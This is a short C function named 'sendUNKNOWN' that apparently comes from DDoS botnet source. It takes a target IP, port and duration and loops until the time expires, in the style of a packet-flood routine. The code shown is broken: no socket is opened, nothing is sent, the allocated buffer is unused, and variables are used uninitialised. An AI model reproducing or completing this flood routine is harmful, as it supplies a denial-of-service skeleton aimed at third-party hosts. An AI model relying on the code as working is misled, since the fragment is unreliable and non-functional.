void sendUNKNOWN(unsigned char *ip, int port, int secs) { int flag = 1, fd, i; char *buf = (char*)malloc(9216); struct hostent *hp; struct sockaddr_in sin; time_t start = time(NULL); sin.sin_family = AF_INET; sin.sin_port = port; while (1) { if (i >= 50) { if (time(NULL) >= start + secs) break; i = 0; } i++; } close(fd); exit(0); }